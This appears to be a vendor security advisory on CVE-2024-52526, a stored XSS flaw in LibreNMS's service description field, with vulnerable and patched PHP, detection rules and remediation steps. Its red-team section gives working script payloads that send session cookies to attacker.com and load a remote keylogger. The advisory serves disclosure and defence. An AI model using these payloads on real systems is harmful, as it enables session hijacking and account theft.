CVE-2024-52526

Executive Summary

CVE-2024-52526 is a Stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring system. The flaw resides in the "Services" tab of the Device page, where authenticated users can inject arbitrary JavaScript via the descr parameter when adding a service to a device. This stored XSS can execute in the context of other users' sessions, potentially leading to account compromise and unauthorized actions. The vulnerability is fixed in LibreNMS version 24.10.0. With a CVSS score of 4.8 (Medium), the risk is elevated due to the authenticated attack vector and potential for lateral movement within the monitoring environment.

Supply Chain & Package Security

LibreNMS is a PHP/MySQL/SNMP-based application distributed via GitHub and Composer. This vulnerability does not directly affect the supply chain (e.g., NPM, PyPI, Go, Ruby packages), but the risk of malicious code injection via stored XSS could lead to credential theft or further compromise of the monitoring infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the Services tab)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but can lead to session hijacking, credential theft, and unauthorized actions within the LibreNMS instance.

Deep Dive & Mechanics

The vulnerability exists in the service addition functionality of LibreNMS. When an authenticated user adds a service to a device, the descr parameter is not properly sanitized before being stored and later rendered in the "Services" tab. An attacker can inject malicious JavaScript payloads into the descr field. When other users (including administrators) view the Services tab, the injected script executes in their browser context, potentially stealing session cookies, performing actions on behalf of the victim, or exfiltrating sensitive data.

Root Cause: Lack of output encoding/escaping for the descr parameter when rendering service descriptions in the web interface.

Attack Flow:

1. Attacker authenticates to LibreNMS.
2. Attacker navigates to a device's page and adds a new service.
3. Attacker sets the descr parameter to a malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. Victim (another user) views the Services tab of the same device.
6. The malicious script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (before 24.10.0): The descr parameter is directly output without sanitization.

// In services.php or similar
echo "<td>" . $service['descr'] . "</td>";

Patched Code (24.10.0): The descr parameter is properly escaped using htmlspecialchars() or similar.

// Patched version
echo "<td>" . htmlspecialchars($service['descr'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a LibreNMS instance with a valid user account.
• Ability to add services to a device.

Exploitation Steps:

1. Log in to LibreNMS.
2. Navigate to a device (e.g., http://target/librenms/device/1/services).
3. Click "Add Service".
4. In the descr field, inject a payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the form.
6. When an administrator or other user views the Services tab, the script executes, exfiltrating their session cookie.

Alternative Payloads:

• Session hijacking: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
• Keylogging: <script src="http://attacker.com/keylogger.js"></script>

Blue Team

Detection:

• Monitor for unusual descr parameters containing <script> tags or event handlers.
• Use WAF rules to block XSS patterns in POST requests to service addition endpoints.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search database for stored XSS payloads in the services table.
• Review web server logs for requests containing XSS patterns.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from LibreNMS server.
  • POST requests to /device/*/services with descr containing <script> tags.
• Host:
  • Unusual entries in the services table of the LibreNMS database with JavaScript in descr field.
  • Browser cookies exfiltrated to external domains.
• File:
  • Modified LibreNMS source files (if attacker gained code execution).

Detection Engineering

YARA Rule

rule CVE_2024_52526_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS service descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52526"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        any of them
}

Sigma Rule

title: LibreNMS Stored XSS via Service Description
id: 8f4b3c2a-1e5d-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects attempts to exploit CVE-2024-52526 by injecting XSS payloads into the descr parameter when adding a service.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/device/'
        cs-uri-query|contains: '/services'
        cs-uri-query|contains: 'descr='
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52526 LibreNMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/device/"; http_uri; content:"/services"; http_uri; content:"descr="; http_client_body; pcre:"/(<script|on\w+=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade LibreNMS to version 24.10.0 or later.
• If upgrade is not possible, apply input validation and output encoding to the descr parameter manually.

Long-term:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use Web Application Firewall (WAF) rules to block XSS patterns.
• Conduct regular security audits and code reviews.
• Enforce principle of least privilege for user accounts.

Workaround:

• Disable the ability to add services for non-admin users temporarily.
• Sanitize the descr parameter using htmlspecialchars() in the codebase.

Valters IT
Securing Digital Frontiers